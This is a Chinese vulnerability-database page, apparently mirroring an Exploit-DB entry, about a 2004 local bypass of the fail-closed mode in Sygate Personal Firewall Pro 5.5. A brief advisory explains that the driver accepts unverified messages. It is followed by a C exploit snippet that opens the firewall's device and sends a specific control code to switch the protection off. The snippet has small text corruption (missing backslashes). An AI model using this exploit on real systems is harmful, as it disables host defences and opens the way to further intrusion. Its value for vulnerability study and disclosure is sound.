Sygate Personal Firewall Pro 5.5 – Local Fail-Close Bypass

Sygate Personal Firewall Pro 5.5 – Local Fail-Close Bypass

漏洞ID 1054495 漏洞类型
发布时间 2004-06-14 更新时间 2004-06-14
图片[1]-Sygate Personal Firewall Pro 5.5 – Local Fail-Close Bypass-安全小百科CVE编号 N/A
图片[2]-Sygate Personal Firewall Pro 5.5 – Local Fail-Close Bypass-安全小百科CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/24200
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/10540/info

A vulnerability is reported to affect the Sygate Personal Firewall fail-closed functionality. It is reported that the kernel-space NDIS driver does not verify the origin of messages that are received through the associated device. As a result of this it is possible for a local user to transmit a message to the kernel-space NDIS driver device in order to disable the firewall fail-closed functionality.

A local attacker may exploit this condition to disable the affected firewall completely.


	hDevice = CreateFile("\\.\Teefer", GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
			 NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

 	if(hDevice == INVALID_HANDLE_VALUE)
	{
		printf("Open failedn");
	}
	else
	{
		printf("Device opened.n");
										
		char buffer[8];
		DWORD *ptr = (DWORD *)buffer;
		DWORD *ptr2 = (DWORD *)(buffer + 4);
		DWORD ret;

		*ptr = 0;
		*ptr2 = 0;
			
		if(DeviceIoControl(hDevice, 0x212094, buffer, 8, buffer, 8, &ret, 0))
			printf("Sent.n");
												
		CloseHandle(hDevice);
	}

相关推荐: HPUX PCLToTIFF Command Line Argument Local Buffer Overflow Vulnerability

HPUX PCLToTIFF Command Line Argument Local Buffer Overflow Vulnerability 漏洞ID 1100139 漏洞类型 Boundary Condition Error 发布时间 2003-06-0…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享